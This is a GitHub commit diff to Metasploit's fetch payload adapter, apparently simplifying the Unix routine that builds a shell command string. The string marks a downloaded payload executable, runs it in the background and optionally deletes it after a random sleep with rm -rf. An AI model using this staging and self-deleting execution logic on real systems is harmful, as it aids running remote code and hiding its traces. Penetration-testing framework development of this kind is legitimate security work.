We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 594946d commit 0334109Copy full SHA for 0334109
lib/msf/core/payload/adapter/fetch.rb
@@ -203,14 +203,8 @@ def _execute_win
203
204
def _execute_nix
205
cmds = ";chmod +x #{_remote_destination_nix}"
206
- if datastore['FETCH_DELETE']
207
- # sometimes the delete can happen before the process is created
208
- sleep_delete = rand(2..7)
209
- cmds << ";(#{_remote_destination_nix} &)"
210
- cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
211
- else
212
- cmds << ";#{_remote_destination_nix} &"
213
- end
+ cmds << ";#{_remote_destination_nix}&"
+ cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
214
cmds
215
end
216
0 commit comments